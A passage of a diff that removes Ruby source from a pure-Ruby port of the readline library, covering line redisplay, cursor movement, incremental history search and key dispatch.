MB_FIND_ANY) - break - elsif (z == @_rl_screenwidth) - break - end - num+=1 - end - temp = num - else - temp = ((newlines + 1) * @_rl_screenwidth) - end - - # Now account for invisible characters in the current line. - temp += (@local_prompt_prefix.nil? ? ((newlines == 0) ? @prompt_invis_chars_first_line : - ((newlines == 1) ? @wrap_offset : 0)) : - ((newlines == 0) ? @wrap_offset : 0)) - - @inv_lbreaks[newlines+=1] = temp - if !@rl_byte_oriented - lpos -= _rl_col_width(@local_prompt, n0, num) - else - lpos -= @_rl_screenwidth - end - end - @prompt_last_screen_line = newlines - - # Draw the rest of the line (after the prompt) into invisible_line, keeping - # track of where the cursor is (cpos_buffer_position), the number of the line containing - # the cursor (lb_linenum), the last line number (lb_botlin and inv_botlin). - # It maintains an array of line breaks for display (inv_lbreaks). - # This handles expanding tabs for display and displaying meta characters. - lb_linenum = 0 - _in = 0 - if !@rl_byte_oriented && @rl_end>0 - case @encoding - when 'E' - wc = @rl_line_buffer[0,@rl_end].scan(/./me)[0] - wc_bytes = wc ? wc.length : 1 - when 'S' - wc = @rl_line_buffer[0,@rl_end].scan(/./ms)[0] - wc_bytes = wc ? wc.length : 1 - when 'U' - wc = @rl_line_buffer[0,@rl_end].scan(/./mu)[0] - wc_bytes = wc ? wc.length : 1 - when 'X' - wc = @rl_line_buffer[0,@rl_end].force_encoding(@encoding_name)[0] - wc_bytes = wc ? wc.bytesize : 1 - end - else - wc_bytes = 1 - end - - while(_in < @rl_end) - - c = @rl_line_buffer[_in,1] - if(c == 0.chr) - @rl_end = _in - break - end - if (!@rl_byte_oriented) - case @encoding - when 'U' - wc_width = wc && wc.unpack('U').first >= 0x1000 ? 2 : 1 - when 'X' - wc_width = wc && wc.ord > 0x1000 ? 2 : 1 - else - wc_width = wc ? wc.length : 1 - end - end - if (out + 8 >= @line_size) # XXX - 8 for \t - @line_size *= 2 - if @visible_line.length>=@line_size - @visible_line = @visible_line[0,@line_size] - else - @visible_line += 0.chr * (@line_size-@visible_line.length) - end - if @invisible_line.length>=@line_size - @invisible_line = @invisible_line[0,@line_size] - else - @invisible_line += 0.chr * (@line_size-@invisible_line.length) - end - line = @invisible_line - end - - if (_in == @rl_point) - @cpos_buffer_position = out - lb_linenum = newlines - end - if (false && meta_char(c)) - if (!@_rl_output_meta_chars && false) - line[out,4] = "\\%03o" % c.ord - - if (lpos + 4 >= @_rl_screenwidth) - temp = @_rl_screenwidth - lpos - @inv_lbreaks[newlines+=1] = out + temp - lpos = 4 - temp - else - lpos += 4 - end - out += 4 - else - line[out,1] = c - out += 1 - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - end - - elsif (c == "\t") - - newout = out + 8 - lpos % 8 - temp = newout - out - if (lpos + temp >= @_rl_screenwidth) - temp2 = @_rl_screenwidth - lpos - @inv_lbreaks[newlines+=1] = out + temp2 - lpos = temp - temp2 - while (out < newout) - line[out,1] = ' ' - out += 1 - end - - else - - while (out < newout) - line[out,1] = ' ' - out += 1 - end - lpos += temp - end - - elsif (c == "\n" && !@_rl_horizontal_scroll_mode && @_rl_term_up) - line[out,1] = 0.chr # XXX - sentinel - out += 1 - @inv_lbreaks[newlines+=1] = out - lpos = 0 - elsif (ctrl_char(c) || c == RUBOUT) - line[out,1] = '^' - out += 1 - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - # NOTE: c[0].ord works identically on both 1.8 and 1.9 - line[out,1] = ctrl_char(c) ? (c[0].ord|0x40).chr.upcase : '?' - out += 1 - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - else - - if (!@rl_byte_oriented) - _rl_wrapped_multicolumn = 0 - if (@_rl_screenwidth < lpos + wc_width) - for i in lpos ... @_rl_screenwidth - # The space will be removed in update_line() - line[out,1] = ' ' - out += 1 - _rl_wrapped_multicolumn+=1 - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - end - end - if (_in == @rl_point) - @cpos_buffer_position = out - lb_linenum = newlines - end - line[out,wc_bytes] = @rl_line_buffer[_in,wc_bytes] - out += wc_bytes - for i in 0 ... wc_width - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - end - else - line[out,1] = c - out += 1 - lpos+=1 - if (lpos >= @_rl_screenwidth) - @inv_lbreaks[newlines+=1] = out - @_rl_wrapped_line[newlines] = _rl_wrapped_multicolumn - lpos = 0 - end - end - - end - - if (!@rl_byte_oriented) - _in += wc_bytes - case @encoding - when 'E' - wc = @rl_line_buffer[_in,@rl_end - _in].scan(/./me)[0] - wc_bytes = wc ? wc.length : 1 - when 'S' - wc = @rl_line_buffer[_in,@rl_end - _in].scan(/./ms)[0] - wc_bytes = wc ? wc.length : 1 - when 'U' - wc = @rl_line_buffer[_in,@rl_end - _in].scan(/./mu)[0] - wc_bytes = wc ? wc.length : 1 - when 'X' - wc = @rl_line_buffer[_in,@rl_end - _in].force_encoding(@encoding_name)[0] - wc_bytes = wc ? wc.bytesize : 1 - end - - else - _in+=1 - end - end - - line[out,1] = 0.chr - - if (@cpos_buffer_position < 0) - @cpos_buffer_position = out - lb_linenum = newlines - end - - inv_botlin = lb_botlin = newlines - @inv_lbreaks[newlines+1] = out - cursor_linenum = lb_linenum - - # CPOS_BUFFER_POSITION == position in buffer where cursor should be placed. - # CURSOR_LINENUM == line number where the cursor should be placed. - - # PWP: now is when things get a bit hairy. The visible and invisible - # line buffers are really multiple lines, which would wrap every - # (screenwidth - 1) characters. Go through each in turn, finding - # the changed region and updating it. The line order is top to bottom. - - # If we can move the cursor up and down, then use multiple lines, - # otherwise, let long lines display in a single terminal line, and - # horizontally scroll it. - - if (!@_rl_horizontal_scroll_mode && @_rl_term_up) - if (!@rl_display_fixed || @forced_display) - @forced_display = false - # If we have more than a screenful of material to display, then - # only display a screenful. We should display the last screen, - # not the first. - if (out >= @_rl_screenchars) - if (!@rl_byte_oriented) - out = _rl_find_prev_mbchar(line, @_rl_screenchars, MB_FIND_ANY) - else - out = @_rl_screenchars - 1 - end - end - - # The first line is at character position 0 in the buffer. The - # second and subsequent lines start at inv_lbreaks[N], offset by - # OFFSET (which has already been calculated above). - - # For each line in the buffer, do the updating display. - for linenum in 0 .. inv_botlin - # This can lead us astray if we execute a program that changes - #the locale from a non-multibyte to a multibyte one. - o_cpos = @_rl_last_c_pos - @cpos_adjusted = false - update_line(@visible_line,vis_pos(linenum), inv_line(linenum), linenum, - vis_llen(linenum), inv_llen(linenum), inv_botlin) - - if (linenum == 0 && !@rl_byte_oriented && - !@cpos_adjusted && - @_rl_last_c_pos != o_cpos && - @_rl_last_c_pos > @wrap_offset && - o_cpos < @prompt_last_invisible) - @_rl_last_c_pos -= @wrap_offset - end - - # If this is the line with the prompt, we might need to - # compensate for invisible characters in the new line. Do - # this only if there is not more than one new line (which - # implies that we completely overwrite the old visible line) - # and the new line is shorter than the old. Make sure we are - # at the end of the new line before clearing. - if (linenum == 0 && - inv_botlin == 0 && @_rl_last_c_pos == out && - (@wrap_offset > @visible_wrap_offset) && - (@_rl_last_c_pos < @visible_first_line_len)) - if !@rl_byte_oriented - nleft = @_rl_screenwidth - @_rl_last_c_pos - else - nleft = @_rl_screenwidth + @wrap_offset - @_rl_last_c_pos - end - if (nleft!=0) - _rl_clear_to_eol(nleft) - end - end - - # Since the new first line is now visible, save its length. - if (linenum == 0) - @visible_first_line_len = (inv_botlin > 0) ? @inv_lbreaks[1] : out - @wrap_offset - end - end - - # We may have deleted some lines. If so, clear the left over - # blank ones at the bottom out. - if (@_rl_vis_botlin > inv_botlin) - while(linenum <= @_rl_vis_botlin) - tt = vis_chars(linenum) - _rl_move_vert(linenum) - _rl_move_cursor_relative(0, tt) - _rl_clear_to_eol((linenum == @_rl_vis_botlin) ? tt.length : @_rl_screenwidth) - linenum += 1 - end - end - @_rl_vis_botlin = inv_botlin - - # CHANGED_SCREEN_LINE is set to 1 if we have moved to a - # different screen line during this redisplay. - changed_screen_line = @_rl_last_v_pos != cursor_linenum - if (changed_screen_line) - _rl_move_vert(cursor_linenum) - # If we moved up to the line with the prompt using _rl_term_up, - # the physical cursor position on the screen stays the same, - # but the buffer position needs to be adjusted to account - # for invisible characters. - if (@rl_byte_oriented && cursor_linenum == 0 && @wrap_offset!=0) - @_rl_last_c_pos += @wrap_offset - end - end - # We have to reprint the prompt if it contains invisible - # characters, since it's not generally OK to just reprint - # the characters from the current cursor position. But we - # only need to reprint it if the cursor is before the last - # invisible character in the prompt string. - nleft = @prompt_visible_length + @wrap_offset - if (cursor_linenum == 0 && @wrap_offset > 0 && @_rl_last_c_pos > 0 && - @_rl_last_c_pos < prompt_ending_index() && @local_prompt) - if (@_rl_term_cr) - @rl_outstream.write(@_rl_term_cr) - end - _rl_output_some_chars(@local_prompt,0,nleft) - if !@rl_byte_oriented - @_rl_last_c_pos = _rl_col_width(@local_prompt, 0, nleft) - @wrap_offset - else - @_rl_last_c_pos = nleft - end - end - - # Where on that line? And where does that line start - # in the buffer? - pos = @inv_lbreaks[cursor_linenum] - # nleft == number of characters in the line buffer between the - # start of the line and the desired cursor position. - nleft = @cpos_buffer_position - pos - - # NLEFT is now a number of characters in a buffer. When in a - # multibyte locale, however, _rl_last_c_pos is an absolute cursor - # position that doesn't take invisible characters in the prompt - # into account. We use a fudge factor to compensate. - - # Since _rl_backspace() doesn't know about invisible characters in the - # prompt, and there's no good way to tell it, we compensate for - # those characters here and call _rl_backspace() directly. - - if (@wrap_offset!=0 && cursor_linenum == 0 && nleft < @_rl_last_c_pos) - # TX == new physical cursor position in multibyte locale. - if !@rl_byte_oriented - tx = _rl_col_width(@visible_line, pos, pos+nleft) - @visible_wrap_offset - else - tx = nleft - end - if (@_rl_last_c_pos > tx) - _rl_backspace(@_rl_last_c_pos - tx) # XXX - @_rl_last_c_pos = tx - end - end - # We need to note that in a multibyte locale we are dealing with - # _rl_last_c_pos as an absolute cursor position, but moving to a - # point specified by a buffer position (NLEFT) that doesn't take - # invisible characters into account. - if !@rl_byte_oriented - _rl_move_cursor_relative(nleft, @invisible_line,pos) - elsif (nleft != @_rl_last_c_pos) - _rl_move_cursor_relative(nleft, @invisible_line,pos) - end - end - - else # Do horizontal scrolling. - - # Always at top line. - @_rl_last_v_pos = 0 - - # Compute where in the buffer the displayed line should start. This - # will be LMARGIN. - - # The number of characters that will be displayed before the cursor. - ndisp = @cpos_buffer_position - @wrap_offset - nleft = @prompt_visible_length + @wrap_offset - # Where the new cursor position will be on the screen. This can be - # longer than SCREENWIDTH; if it is, lmargin will be adjusted. - phys_c_pos = @cpos_buffer_position - (@last_lmargin!=0 ? @last_lmargin : @wrap_offset) - t = @_rl_screenwidth / 3 - - # If the number of characters had already exceeded the screenwidth, - #last_lmargin will be > 0. - - # If the number of characters to be displayed is more than the screen - # width, compute the starting offset so that the cursor is about - # two-thirds of the way across the screen. - if (phys_c_pos > @_rl_screenwidth - 2) - lmargin = @cpos_buffer_position - (2 * t) - if (lmargin < 0) - lmargin = 0 - end - # If the left margin would be in the middle of a prompt with - # invisible characters, don't display the prompt at all. - if (@wrap_offset!=0 && lmargin > 0 && lmargin < nleft) - lmargin = nleft - end - elsif (ndisp < @_rl_screenwidth - 2) # XXX - was -1 - lmargin = 0 - elsif (phys_c_pos < 1) - # If we are moving back towards the beginning of the line and - # the last margin is no longer correct, compute a new one. - lmargin = ((@cpos_buffer_position - 1) / t) * t # XXX - if (@wrap_offset!=0 && lmargin > 0 && lmargin < nleft) - lmargin = nleft - end - else - lmargin = @last_lmargin - end - - # If the first character on the screen isn't the first character - #in the display line, indicate this with a special character. - if (lmargin > 0) - line[lmargin,1] = '<' - end - - # If SCREENWIDTH characters starting at LMARGIN do not encompass - # the whole line, indicate that with a special character at the - # right edge of the screen. If LMARGIN is 0, we need to take the - # wrap offset into account. - t = lmargin + m_offset(lmargin, @wrap_offset) + @_rl_screenwidth - if (t < out) - line[t - 1,1] = '>' - end - if (!@rl_display_fixed || @forced_display || lmargin != @last_lmargin) - - @forced_display = false - # in case we scrolled to the right, the prompt is not visible, - # so temporarily set wrap_offset and visible_wrap_offset to zero. - old_vwo=@visible_wrap_offset - old_wo=@wrap_offset - if (lmargin != 0) - @visible_wrap_offset=0 - @wrap_offset=0 - end - update_line(@visible_line,@last_lmargin,@invisible_line[lmargin..-1], - 0, - @_rl_screenwidth + @visible_wrap_offset, - @_rl_screenwidth + (lmargin != 0 ? 0 : @wrap_offset), - 0) - # If the visible new line is shorter than the old, but the number - # of invisible characters is greater, and we are at the end of - # the new line, we need to clear to eol. - t = @_rl_last_c_pos - m_offset(lmargin, @wrap_offset) - if ((m_offset(lmargin, @wrap_offset) > @visible_wrap_offset) && - (@_rl_last_c_pos == out) && - t < @visible_first_line_len) - - nleft = @_rl_screenwidth - t - _rl_clear_to_eol(nleft) - end - @visible_first_line_len = out - lmargin - m_offset(lmargin, @wrap_offset) - if (@visible_first_line_len > @_rl_screenwidth) - @visible_first_line_len = @_rl_screenwidth - end - _rl_move_cursor_relative(@cpos_buffer_position - lmargin, @invisible_line ,lmargin) - @last_lmargin = lmargin - @visible_wrap_offset=old_vwo - @wrap_offset=old_wo - end - end - @rl_outstream.flush - - # Swap visible and non-visible lines. - @visible_line,@invisible_line = @invisible_line,@visible_line - @vis_lbreaks,@inv_lbreaks = @inv_lbreaks,@vis_lbreaks - - @rl_display_fixed = false - # If we are displaying on a single line, and last_lmargin is > 0, we - # are not displaying any invisible characters, so set visible_wrap_offset - # to 0. - if (@_rl_horizontal_scroll_mode && @last_lmargin!=0) - @visible_wrap_offset = 0 - else - @visible_wrap_offset = @wrap_offset - end - end - - # Tell the update routines that we have moved onto a new (empty) line. - def rl_on_new_line() - if (@visible_line) - @visible_line[0,1] = 0.chr - end - @_rl_last_c_pos = @_rl_last_v_pos = 0 - @_rl_vis_botlin = @last_lmargin = 0 - if (@vis_lbreaks) - @vis_lbreaks[0] = @vis_lbreaks[1] = 0 - end - @visible_wrap_offset = 0 - 0 - end - - def rl_reset_line_state() - rl_on_new_line() - - @rl_display_prompt = @rl_prompt ? @rl_prompt : "" - @forced_display = true - 0 - end - - def _rl_vi_initialize_line - rl_unsetstate(RL_STATE_VICMDONCE) - end - - # Initialize readline (and terminal if not already). - def rl_initialize() - # If we have never been called before, initialize the - # terminal and data structures. - if (!@rl_initialized) - rl_setstate(RL_STATE_INITIALIZING) - readline_initialize_everything() - rl_unsetstate(RL_STATE_INITIALIZING) - @rl_initialized = true - rl_setstate(RL_STATE_INITIALIZED) - end - - # Initalize the current line information. - _rl_init_line_state() - - # We aren't done yet. We haven't even gotten started yet! - @rl_done = false - rl_unsetstate(RL_STATE_DONE) - - # Tell the history routines what is going on. - _rl_start_using_history() - - # Make the display buffer match the state of the line. - rl_reset_line_state() - - # No such function typed yet. - @rl_last_func = nil - - # Parsing of key-bindings begins in an enabled state. - @_rl_parsing_conditionalized_out = 0 - - if (@rl_editing_mode == @vi_mode) - _rl_vi_initialize_line() - end - # Each line starts in insert mode (the default). - _rl_set_insert_mode(RL_IM_DEFAULT, 1) - - return 0 - end - - def _rl_strip_prompt(pmt) - return expand_prompt(pmt).first - end - - def _rl_col_width(string,start,_end) - return 0 if _end <= start - - index = string.index(0.chr) - str = index ? string[0,index] : string - width = 0 - - case @encoding - when 'N' - return (_end - start) - when 'U' - str[start ... _end].scan(/./mu).each {|s| width += s.unpack('U').first >= 0x1000 ? 2 : 1 } - when 'S' - str[start ... _end].scan(/./ms).each {|s| width += s.length } - when 'E' - str[start ... _end].scan(/./me).each {|s| width += s.length } - when 'X' - tmp = str[start ... _end] - return 0 if not tmp - tmp.force_encoding(@encoding_name).codepoints.each {|s| width += s > 0x1000 ? 2 : 1 } - end - width - end - - # Write COUNT characters from STRING to the output stream. - def _rl_output_some_chars(string,start,count) - @_rl_out_stream.write(string[start,count]) - end - - # Tell the update routines that we have moved onto a new line with the - # prompt already displayed. Code originally from the version of readline - # distributed with CLISP. rl_expand_prompt must have already been called - # (explicitly or implicitly). This still doesn't work exactly right. - def rl_on_new_line_with_prompt() - # Initialize visible_line and invisible_line to ensure that they can hold - # the already-displayed prompt. - prompt_size = @rl_prompt.length + 1 - init_line_structures(prompt_size) - - # Make sure the line structures hold the already-displayed prompt for - # redisplay. - lprompt = @local_prompt ? @local_prompt : @rl_prompt - @visible_line[0,lprompt.length] = lprompt - @invisible_line[0,lprompt.length] = lprompt - - # If the prompt contains newlines, take the last tail. - prompt_last_line = rl_prompt.rindex("\n") - if prompt_last_line.nil? - prompt_last_line = @rl_prompt - else - prompt_last_line = @rl_prompt[prompt_last_line..-1] - end - l = prompt_last_line.length - if !@rl_byte_oriented - @_rl_last_c_pos = _rl_col_width(prompt_last_line, 0, l) - else - @_rl_last_c_pos = l - end - - # Dissect prompt_last_line into screen lines. Note that here we have - # to use the real screenwidth. Readline's notion of screenwidth might be - # one less, see terminal.c. - real_screenwidth = @_rl_screenwidth + (@_rl_term_autowrap ? 0 : 1) - @_rl_last_v_pos = l / real_screenwidth - # If the prompt length is a multiple of real_screenwidth, we don't know - # whether the cursor is at the end of the last line, or already at the - # beginning of the next line. Output a newline just to be safe. - if (l > 0 && (l % real_screenwidth) == 0) - _rl_output_some_chars("\n",0,1) - end - @last_lmargin = 0 - - newlines = 0 - i = 0 - while (i <= l) - @_rl_vis_botlin = newlines - @vis_lbreaks[newlines] = i - newlines += 1 - i += real_screenwidth - end - @vis_lbreaks[newlines] = l - @visible_wrap_offset = 0 - - @rl_display_prompt = @rl_prompt # XXX - make sure it's set - - return 0 - end - - def readline_internal_setup() - @_rl_in_stream = @rl_instream - @_rl_out_stream = @rl_outstream - - if (@rl_startup_hook) - send(@rl_startup_hook) - end - - # If we're not echoing, we still want to at least print a prompt, because - # rl_redisplay will not do it for us. If the calling application has a - # custom redisplay function, though, let that function handle it. - if (!@readline_echoing_p && @rl_redisplay_function == :rl_redisplay) - if (@rl_prompt && !@rl_already_prompted) - nprompt = _rl_strip_prompt(@rl_prompt) - @_rl_out_stream.write(nprompt) - @_rl_out_stream.flush - end - else - if (@rl_prompt && @rl_already_prompted) - rl_on_new_line_with_prompt() - else - rl_on_new_line() - end - send(@rl_redisplay_function) - end - - if (@rl_editing_mode == @vi_mode) - rl_vi_insertion_mode(1, 'i') - end - if (@rl_pre_input_hook) - send(@rl_pre_input_hook) - end - end - - # Create a default argument. - def _rl_reset_argument() - @rl_numeric_arg = @rl_arg_sign = 1 - @rl_explicit_arg = false - @_rl_argcxt = 0 - end - - # Ring the terminal bell. - def rl_ding() - if @MessageBeep - @MessageBeep.Call(0) - elsif @readline_echoing_p - if @_rl_bell_preference == VISIBLE_BELL - if (@_rl_visible_bell) - @_rl_out_stream.write(@_rl_visible_bell.chr) - else - $stderr.write("\007") - $stderr.flush - end - elsif @_rl_bell_preference == AUDIBLE_BELL - $stderr.write("\007") - $stderr.flush - end - return 0 - end - return -1 - end - - def _rl_search_getchar(cxt) - # Read a key and decide how to proceed. - rl_setstate(RL_STATE_MOREINPUT) - c = cxt.lastc = rl_read_key() - rl_unsetstate(RL_STATE_MOREINPUT) - if !@rl_byte_oriented - cxt.mb = "" - c = cxt.lastc = _rl_read_mbstring(cxt.lastc, cxt.mb, MB_LEN_MAX) - end - c - end - - def endsrch_char(c) - ((ctrl_char(c) || meta_char(c) || (c) == RUBOUT) && ((c) != "\C-G")) - end - - def _rl_input_available - IO.select([ $stdin ], nil, [ $stdin ], @_keyboard_input_timeout) - end - - # Process just-read character C according to isearch context CXT. Return - # -1 if the caller should just free the context and return, 0 if we should - # break out of the loop, and 1 if we should continue to read characters. - def _rl_isearch_dispatch(cxt, c) - f = nil - - # Translate the keys we do something with to opcodes. - if (c && @_rl_keymap[c]) - f = @_rl_keymap[c] - if (f == :rl_reverse_search_history) - cxt.lastc = (cxt.sflags & SF_REVERSE)!=0 ? -1 : -2 - elsif (f == :rl_forward_search_history) - cxt.lastc = (cxt.sflags & SF_REVERSE)!=0 ? -2 : -1 - elsif (f == :rl_rubout) - cxt.lastc = -3 - elsif (c == "\C-G") - cxt.lastc = -4 - elsif (c == "\C-W") # XXX - cxt.lastc = -5 - elsif (c == "\C-Y") # XXX - cxt.lastc = -6 - end - end - - # The characters in isearch_terminators (set from the user-settable - # variable isearch-terminators) are used to terminate the search but - # not subsequently execute the character as a command. The default - # value is "\033\012" (ESC and C-J). - if (cxt.lastc.class == ::String and cxt.search_terminators.include?(cxt.lastc)) - # ESC still terminates the search, but if there is pending - #input or if input arrives within 0.1 seconds (on systems - #with select(2)) it is used as a prefix character - #with rl_execute_next. WATCH OUT FOR THIS! This is intended - #to allow the arrow keys to be used like ^F and ^B are used - #to terminate the search and execute the movement command. - #XXX - since _rl_input_available depends on the application- - #settable keyboard timeout value, this could alternatively - #use _rl_input_queued(100000) - if (cxt.lastc == ESC && _rl_input_available()) - rl_execute_next(ESC) - end - return (0) - end - - if !@rl_byte_oriented - if (cxt.lastc.class == String && (cxt.mb.length == 1) && endsrch_char(cxt.lastc)) - # This sets rl_pending_input to c; it will be picked up the next - # time rl_read_key is called. - rl_execute_next(cxt.lastc) - return (0) - end - elsif (cxt.lastc.class == String && endsrch_char(cxt.lastc)) - # This sets rl_pending_input to LASTC; it will be picked up the next - # time rl_read_key is called. - rl_execute_next(cxt.lastc) - return (0) - end - - # Now dispatch on the character. `Opcodes' affect the search string or - # state. Other characters are added to the string. - case (cxt.lastc) - - # search again - when -1 - if (cxt.search_string_index == 0) - if (@last_isearch_string) - cxt.search_string_size = 64 + @last_isearch_string_len - cxt.search_string = @last_isearch_string.dup - cxt.search_string_index = @last_isearch_string_len - rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, -1) - else - return (1) - end - elsif (cxt.sflags & SF_REVERSE)!=0 - cxt.sline_index-=1 - elsif (cxt.sline_index != cxt.sline_len) - cxt.sline_index+=1 - else - rl_ding() - end - - # switch directions - when -2 - cxt.direction = -cxt.direction - if (cxt.direction < 0) - cxt.sflags |= SF_REVERSE - else - cxt.sflags &= ~SF_REVERSE - end - # delete character from search string. - when -3 # C-H, DEL - # This is tricky. To do this right, we need to keep a - # stack of search positions for the current search, with - # sentinels marking the beginning and end. But this will - # do until we have a real isearch-undo. - if (cxt.search_string_index == 0) - rl_ding() - else - cxt.search_string_index -= 1 - cxt.search_string.chop! - end - when -4 # C-G, abort - rl_replace_line(cxt.lines[cxt.save_line], false) - @rl_point = cxt.save_point - @rl_mark = cxt.save_mark - rl_restore_prompt() - rl_clear_message() - return -1 - when -5 # C-W - # skip over portion of line we already matched and yank word - wstart = @rl_point + cxt.search_string_index - if (wstart >= @rl_end) - rl_ding() - else - # if not in a word, move to one. - cval = _rl_char_value(@rl_line_buffer, wstart) - if (!_rl_walphabetic(cval)) - rl_ding() - else - if !@rl_byte_oriented - n = _rl_find_next_mbchar(@rl_line_buffer, wstart, 1, MB_FIND_NONZERO) - else - n = wstart+1 - end - while (n < @rl_end) - cval = _rl_char_value(@rl_line_buffer, n) - break if !_rl_walphabetic(cval) - if !@rl_byte_oriented - n = _rl_find_next_mbchar(@rl_line_buffer, n, 1, MB_FIND_NONZERO) - else - n = n+1 - end - end - wlen = n - wstart + 1 - if (cxt.search_string_index + wlen + 1 >= cxt.search_string_size) - cxt.search_string_size += wlen + 1 - end - cxt.search_string[cxt.search_string_index..-1] = @rl_line_buffer[wstart,wlen] - cxt.search_string_index += wlen - end - end - - when -6 # C-Y - # skip over portion of line we already matched and yank rest - wstart = @rl_point + cxt.search_string_index - if (wstart >= @rl_end) - rl_ding() - else - n = @rl_end - wstart + 1 - if (cxt.search_string_index + n + 1 >= cxt.search_string_size) - cxt.search_string_size += n + 1 - end - cxt.search_string[cxt.search_string_index..-1] = @rl_line_buffer[wstart,n] - end - - # Add character to search string and continue search. - else - if (cxt.search_string_index + 2 >= cxt.search_string_size) - cxt.search_string_size += 128 - end - if !@rl_byte_oriented - for j in 0 ... cxt.mb.length - cxt.search_string << cxt.mb[j,1] - cxt.search_string_index += 1 - end - else - cxt.search_string << c - cxt.search_string_index += 1 - end - end - - while (cxt.sflags &= ~(SF_FOUND|SF_FAILED))!=0 - limit = cxt.sline_len - cxt.search_string_index + 1 - # Search the current line. - while ((cxt.sflags & SF_REVERSE)!=0 ? (cxt.sline_index >= 0) : (cxt.sline_index < limit)) - - if (cxt.search_string[0,cxt.search_string_index] == cxt.sline[cxt.sline_index,cxt.search_string_index]) - cxt.sflags |= SF_FOUND - break - else - cxt.sline_index += cxt.direction - end - end - break if (cxt.sflags & SF_FOUND)!=0 - - # Move to the next line, but skip new copies of the line - # we just found and lines shorter than the string we're - # searching for. - begin - # Move to the next line. - cxt.history_pos += cxt.direction - - # At limit for direction? - if ((cxt.sflags & SF_REVERSE)!=0 ? (cxt.history_pos < 0) : (cxt.history_pos == cxt.hlen)) - cxt.sflags |= SF_FAILED - break - end - - # We will need these later. - cxt.sline = cxt.lines[cxt.history_pos] - cxt.sline_len = cxt.sline.length - end while ((cxt.prev_line_found && cxt.prev_line_found == cxt.lines[cxt.history_pos]) || - (cxt.search_string_index > cxt.sline_len)) - - break if (cxt.sflags & SF_FAILED)!=0 - - # Now set up the line for searching... - cxt.sline_index = (cxt.sflags & SF_REVERSE)!=0 ? cxt.sline_len - cxt.search_string_index : 0 - end - - if (cxt.sflags & SF_FAILED)!=0 - # We cannot find the search string. Ding the bell. - rl_ding() - cxt.history_pos = cxt.last_found_line - return 1 - end - - # We have found the search string. Just display it. But don't - # actually move there in the history list until the user accepts - # the location. - if (cxt.sflags & SF_FOUND)!=0 - cxt.prev_line_found = cxt.lines[cxt.history_pos] - if (cxt.prev_line_found) - rl_replace_line(cxt.lines[cxt.history_pos], false) - end - @rl_point = cxt.sline_index - cxt.last_found_line = cxt.history_pos - rl_display_search(cxt.search_string, (cxt.sflags & SF_REVERSE)!=0, (cxt.history_pos == cxt.save_line) ? -1 : cxt.history_pos) - end - 1 - end - - # How to clear things from the "echo-area". - def rl_clear_message() - @rl_display_prompt = @rl_prompt - if (@msg_saved_prompt) - rl_restore_prompt() - @msg_saved_prompt = nil - end - send(@rl_redisplay_function) - 0 - end - - def _rl_isearch_fini(cxt) - # First put back the original state. - @rl_line_buffer = cxt.lines[cxt.save_line].dup - rl_restore_prompt() - - # Save the search string for possible later use. - @last_isearch_string = cxt.search_string - @last_isearch_string_len = cxt.search_string_index - cxt.search_string = nil - - if (cxt.last_found_line < cxt.save_line) - rl_get_previous_history(cxt.save_line - cxt.last_found_line, 0) - else - rl_get_next_history(cxt.last_found_line - cxt.save_line, 0) - end - - # If the string was not found, put point at the end of the last matching - # line. If last_found_line == orig_line, we didn't find any matching - # history lines at all, so put point back in its original position. - if (cxt.sline_index < 0) - - if (cxt.last_found_line == cxt.save_line) - cxt.sline_index = cxt.save_point - else - cxt.sline_index = @rl_line_buffer.delete(0.chr).length - end - @rl_mark = cxt.save_mark - end - - @rl_point = cxt.sline_index - # Don't worry about where to put the mark here; rl_get_previous_history - # and rl_get_next_history take care of it. - rl_clear_message() - end - - - def _rl_isearch_cleanup(cxt, r) - if (r >= 0) - _rl_isearch_fini(cxt) - end - ctx = nil - @_rl_iscxt = nil - - rl_unsetstate(RL_STATE_ISEARCH) - - r != 0 - end - - # Do the command associated with KEY in MAP. - # If the associated command is really a keymap, then read - # another key, and dispatch into that map. - def _rl_dispatch(key, map) - @_rl_dispatching_keymap = map - return _rl_dispatch_subseq(key, map, false) - end - - - def _rl_dispatch_subseq(key, map, got_subseq) - func = map[key] - if (func) - @rl_executing_keymap = map - - @rl_dispatching = true - rl_setstate(RL_STATE_DISPATCHING) - send(map[key],@rl_numeric_arg * @rl_arg_sign, key) - rl_unsetstate(RL_STATE_DISPATCHING) - @rl_dispatching = false - if (@rl_pending_input == 0 && map[key] != :rl_digit_argument) - @rl_last_func = map[key] - end - else - if(map.keys.detect{|x| x =~ /^#{Regexp.escape(key)}/}) - key += _rl_subseq_getchar(key) - return _rl_dispatch_subseq(key,map,got_subseq) - elsif(key.length>1 && key[1].ord < 0x7f) - _rl_abort_internal() - return -1 - else - @rl_dispatching = true - rl_setstate(RL_STATE_DISPATCHING) - send(:rl_insert,@rl_numeric_arg * @rl_arg_sign, key) - rl_unsetstate(RL_STATE_DISPATCHING) - @rl_dispatching = false - end - end - 0 - end - - # Add KEY to the buffer of characters to be read. Returns 1 if the - # character was stuffed correctly; 0 otherwise. - def rl_stuff_char(key) - return 0 if (ibuffer_space() == 0) - - if (key == EOF) - key = NEWLINE - @rl_pending_input = EOF - rl_setstate(RL_STATE_INPUTPENDING) - end - @ibuffer[@push_index] = key - @push_index += 1 - if (@push_index >= @ibuffer_len) - @push_index = 0 - end - - return 1 - end - - begin - # Cygwin will look like Windows, but we want to treat it like a Posix OS: - raise LoadError, "Cygwin is a Posix OS." if RUBY_PLATFORM =~ /\bcygwin\b/i - - # Try to use win32api regardless of version. This allows us to correctly - # fall back to unixy stuff when not on Windows. Requires some testing on - # 1.8 for Windows, but msf ships 1.9, so don't worry about it for now. - #if RUBY_VERSION < '1.9.1' - require 'Win32API' - #else - # require 'dl' - # class Win32API - # DLL = {} - # TYPEMAP = {"0" => DL::TYPE_VOID, "S" => DL::TYPE_VOIDP, 